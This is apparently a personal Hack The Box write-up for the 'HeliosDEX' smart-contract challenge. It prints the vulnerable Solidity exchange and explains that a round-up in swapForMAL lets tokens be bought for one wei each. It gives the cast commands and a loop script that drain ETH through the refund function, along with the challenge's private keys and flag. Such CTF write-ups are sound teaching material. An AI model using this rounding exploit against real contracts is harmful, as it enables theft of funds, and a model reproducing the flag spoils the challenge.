HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Getting Started
  • Understanding how the Contracts Work
  • Building the Commands
  1. CYBER APOCALYPSE 2025: Tales from Eldoria

HeliosDEX

Personal Rating: Medium

Getting Started

According to the story, there is an exchange and we have to find a way to gain ETH from it by trading. The goal is to have at least 20 ETH. There is a contract for each of the three items that you can buy and each one has a different price. Only once, we have the option to swap our items back to ETH. HeliosDEX, from whom we will get the final currency, has 1000 ETH at the start. We have Solidity Version 0.8.28

The .sol file is quite large:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

/***
    __  __     ___            ____  _______  __
   / / / /__  / (_)___  _____/ __ \/ ____/ |/ /
  / /_/ / _ \/ / / __ \/ ___/ / / / __/  |   / 
 / __  /  __/ / / /_/ (__  ) /_/ / /___ /   |  
/_/ /_/\___/_/_/\____/____/_____/_____//_/|_|  
                                               
    Today's item listing:
    * Eldorion Fang (ELD): A shard of a Eldorion's fang, said to imbue the holder with courage and the strength of the ancient beast. A symbol of valor in battle.
    * Malakar Essence (MAL): A dark, viscous substance, pulsing with the corrupted power of Malakar. Use with extreme caution, as it whispers promises of forbidden strength. MAY CAUSE HALLUCINATIONS.
    * Helios Lumina Shards (HLS): Fragments of pure, solidified light, radiating the warmth and energy of Helios. These shards are key to powering Eldoria's invisible eye.
***/

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

contract EldorionFang is ERC20 {
    constructor(uint256 initialSupply) ERC20("EldorionFang", "ELD") {
        _mint(msg.sender, initialSupply);
    }
}

contract MalakarEssence is ERC20 {
    constructor(uint256 initialSupply) ERC20("MalakarEssence", "MAL") {
        _mint(msg.sender, initialSupply);
    }
}

contract HeliosLuminaShards is ERC20 {
    constructor(uint256 initialSupply) ERC20("HeliosLuminaShards", "HLS") {
        _mint(msg.sender, initialSupply);
    }
}

contract HeliosDEX {
    EldorionFang public eldorionFang;
    MalakarEssence public malakarEssence;
    HeliosLuminaShards public heliosLuminaShards;

    uint256 public reserveELD;
    uint256 public reserveMAL;
    uint256 public reserveHLS;
    
    uint256 public immutable exchangeRatioELD = 2;
    uint256 public immutable exchangeRatioMAL = 4;
    uint256 public immutable exchangeRatioHLS = 10;

    uint256 public immutable feeBps = 25;

    mapping(address => bool) public hasRefunded;

    bool public _tradeLock = false;
    
    event HeliosBarter(address item, uint256 inAmount, uint256 outAmount);
    event HeliosRefund(address item, uint256 inAmount, uint256 ethOut);

    constructor(uint256 initialSupplies) payable {
        eldorionFang = new EldorionFang(initialSupplies);
        malakarEssence = new MalakarEssence(initialSupplies);
        heliosLuminaShards = new HeliosLuminaShards(initialSupplies);
        reserveELD = initialSupplies;
        reserveMAL = initialSupplies;
        reserveHLS = initialSupplies;
    }

    modifier underHeliosEye {
        require(msg.value > 0, "HeliosDEX: Helios sees your empty hand! Only true offerings are worthy of a HeliosBarter");
        _;
    }

    modifier heliosGuardedTrade() {
        require(_tradeLock != true, "HeliosDEX: Helios shields this trade! Another transaction is already underway. Patience, traveler");
        _tradeLock = true;
        _;
        _tradeLock = false;
    }

    function swapForELD() external payable underHeliosEye {
        uint256 grossELD = Math.mulDiv(msg.value, exchangeRatioELD, 1e18, Math.Rounding(0));
        uint256 fee = (grossELD * feeBps) / 10_000;
        uint256 netELD = grossELD - fee;

        require(netELD <= reserveELD, "HeliosDEX: Helios grieves that the ELD reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveELD -= netELD;
        eldorionFang.transfer(msg.sender, netELD);

        emit HeliosBarter(address(eldorionFang), msg.value, netELD);
    }

    function swapForMAL() external payable underHeliosEye {
        uint256 grossMal = Math.mulDiv(msg.value, exchangeRatioMAL, 1e18, Math.Rounding(1));
        uint256 fee = (grossMal * feeBps) / 10_000;
        uint256 netMal = grossMal - fee;

        require(netMal <= reserveMAL, "HeliosDEX: Helios grieves that the MAL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveMAL -= netMal;
        malakarEssence.transfer(msg.sender, netMal);

        emit HeliosBarter(address(malakarEssence), msg.value, netMal);
    }

    function swapForHLS() external payable underHeliosEye {
        uint256 grossHLS = Math.mulDiv(msg.value, exchangeRatioHLS, 1e18, Math.Rounding(3));
        uint256 fee = (grossHLS * feeBps) / 10_000;
        uint256 netHLS = grossHLS - fee;
        
        require(netHLS <= reserveHLS, "HeliosDEX: Helios grieves that the HSL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");
        

        reserveHLS -= netHLS;
        heliosLuminaShards.transfer(msg.sender, netHLS);

        emit HeliosBarter(address(heliosLuminaShards), msg.value, netHLS);
    }

    function oneTimeRefund(address item, uint256 amount) external heliosGuardedTrade {
        require(!hasRefunded[msg.sender], "HeliosDEX: refund already bestowed upon thee");
        require(amount > 0, "HeliosDEX: naught for naught is no trade. Offer substance, or be gone!");

        uint256 exchangeRatio;
        
        if (item == address(eldorionFang)) {
            exchangeRatio = exchangeRatioELD;
            require(eldorionFang.transferFrom(msg.sender, address(this), amount), "ELD transfer failed");
            reserveELD += amount;
        } else if (item == address(malakarEssence)) {
            exchangeRatio = exchangeRatioMAL;
            require(malakarEssence.transferFrom(msg.sender, address(this), amount), "MAL transfer failed");
            reserveMAL += amount;
        } else if (item == address(heliosLuminaShards)) {
            exchangeRatio = exchangeRatioHLS;
            require(heliosLuminaShards.transferFrom(msg.sender, address(this), amount), "HLS transfer failed");
            reserveHLS += amount;
        } else {
            revert("HeliosDEX: Helios descries forbidden offering");
        }

        uint256 grossEth = Math.mulDiv(amount, 1e18, exchangeRatio);

        uint256 fee = (grossEth * feeBps) / 10_000;
        uint256 netEth = grossEth - fee;

        hasRefunded[msg.sender] = true;
        payable(msg.sender).transfer(netEth);
        
        emit HeliosRefund(item, amount, netEth);
    }
}

Before we start, we need our private key etc.

nc 83.136.251.19 58144
Player Private Key : 0xf574f31c8b432a442850a49b700153386df670164a4d8e3ede74e5f2cd492187
Player Address     : 0xf36407A7e29A95ad4dECE8200247ac48d76A3463
Target contract    : 0xFA7c776B7BAF1fd117987C04C836Acc9d46ffce4
Setup contract     : 0x485C0f84C0B37122978D40ff3d26a9104343D8ca

Understanding how the Contracts Work

There are three contracts, one for each of the three tradable items. Each inherents the features of an ERC20 Ethereum contract. The final fourth contract is custom and more complex.

  • EldorionFang

  • MalakarEssence

  • HeliosLuminaShards

  • HeliosDEX

We have these public values:

  • reserveELD

  • reserveMAL

  • reserveHLS

And these public immutable values:

  • exchangeRatioELD = 2

  • exchangeRatioMAL = 4

  • exchangeRatioHLS = 10

  • feeBps = 25

Additonally, we find more crucial features:

  • Bool mapping "hasRefunded" - This value ensures that the player can only refund once.

  • A constructor initiates a reserve of the three items with the initialSupplies.

  • There are two modifiers. The first one, "underHeliosEye", requires the msg value to be > 0. This ensures that no trades with 0 currency given can be done. The second modifier "heliosGuardedTrade" ensures that a tradelocked trade can not be done. It enforces that only one transaction at a time can be done.

The functions are what we can use to interact. There are three swap functions, one for each item, and one refund function. Each of the three first functions lets the player trade ETH for the token, as long as the reserve has enough of it. A fee is deducted for each trade. Each item has a certain exchange ratio, so some items are more expensive than others. A specific rounding is applied to the received item count!

The fee is always (gross<item> * 25) / 10,000 and is subtracted from the requested tokens.

swapForELD:

  • Rounded down: 5.9 becomes 5

  • 0.25% fee on received tokens

  • Price: 0.5 ETH per token

swapForMAL:

  • Rounded up: 5.1 becomes 6

  • 0.25% fee on received tokens

  • Price: 0.25 ETH per token

swapForHLS:

  • Rounded towards zero: 5.9 becomes 5, 5.1 becomes 5

  • 0.25% fee on received tokens

  • Price: 0.1 ETH per token

The last function, oneTimeRefund, can be used to get ETH back in exchange for items. The item type and amount are the two inputs for this function. It only be used once.

oneTimeRefund Possible Items:

  • eldorionFang

  • malakarEssence

  • heliosLuminaShards

oneTimeRefund Other Features:

  • Can only be used once

  • 0.25% fee on received ETH

  • Gross 0.5 ETH for 1 eldorionFang

  • Gross 0.25 ETH for 1 malakarEssence

  • Gross 0.1 ETH for 1 heliosLuminaShards

By querying the according contracts and addresses at the rpc url, you can find out the initial reserve sizes and other valuable state information.

Goal: Obtain 20 ETH Start: 12 ETH Start MAL Reserve: 1000

With all this in mind, it becomes clear that we can buy malakarEssence for minimal amounts of ETH, since the item count we receive will be rounded up.

Building the Commands

Obtain the address of the malakarEssence contract:

cast call --rpc-url=http://83.136.251.19:53712 <targetcontractaddress> "malakarEssence()"

List your malakarEssence balance:

cast call --rpc-url=http://83.136.251.19:53712 <malakaressencecontractaddress> "balanceOf(address)" <playeraddress>

List your ETH balance:

cast balance <playeraddress> --rpc-url=http://83.136.251.19:53712

Pay ether to get malakarEssence:

cast send --rpc-url=http://83.136.251.19:53712 --private-key=<playerprivkey> <targetcontractaddress> "swapForMAL()" --value 0.125ether --from <playeraddress> --gas-limit 1000000

List the malakarEssence Reserve:

cast call --rpc-url=http://83.136.253.184:56885 <targetcontractaddress> "reserveMAL()"

Refund the items to ETH:

cast send --rpc-url=http://83.136.253.184:56885 --private-key=<playerprivkey> <targetcontractaddress> "oneTimeRefund(address,uint256)" -- "<malakarEssenceContractaddress>" 1000 --from <playeraddress> --gas-limit 1000000

I set up a status watch for my ETH balance and malakarEssence balance and bought malakarEssence for 0.125ETH. It worked perfectly and I received 1 malakarEssence despite the price of 0.5ETH, because of the roundup.

The same transaction of buying 1 malakarEssence even worked with 0.000000000000000001ether, which is the minimum amount you can possibly send. This is the final script that I used to solve the challenge:

# Scam Malakar:
for i in {1..1000} ; do cast send --rpc-url=http://83.136.253.184:56885 --private-key=0x419153ca7f222edbeab4b46950a22f0c0191b49f366b1c279c9c15b27b0e26dc 0x7A65f2bE5d6d8b45c943886333C1DDC55F1A48FB "swapForMAL()" --value 0.000000000000000001ether --from 0xCbc312504c8Beb7431933383004E2A03fe0AB302 --gas-limit 1000000; done

# Approve refund:
cast send --rpc-url=http://83.136.253.184:56885 --private-key=0x419153ca7f222edbeab4b46950a22f0c0191b49f366b1c279c9c15b27b0e26dc 0x9708136bc1864ebc7078e420b31be0f167b5f8ba "approve(address,uint256)" -- "0x7A65f2bE5d6d8b45c943886333C1DDC55F1A48FB" 1000 --from 0xCbc312504c8Beb7431933383004E2A03fe0AB302 --gas-limit 1000000

# Refund:
cast send --rpc-url=http://83.136.253.184:56885 --private-key=0x419153ca7f222edbeab4b46950a22f0c0191b49f366b1c279c9c15b27b0e26dc 0x7A65f2bE5d6d8b45c943886333C1DDC55F1A48FB "oneTimeRefund(address,uint256)" -- "0x9708136bc1864ebc7078e420b31be0f167b5f8ba" 1000 --from 0xCbc312504c8Beb7431933383004E2A03fe0AB302 --gas-limit 1000000

HTB{0n_Heli0s_tr4d3s_a_d3cim4l_f4d3s_and_f0rtun3s_ar3_m4d3}

PreviousEncryptedScrollNextQuack Quack

Last updated 1 month ago

Status Watcher & Contract Interaction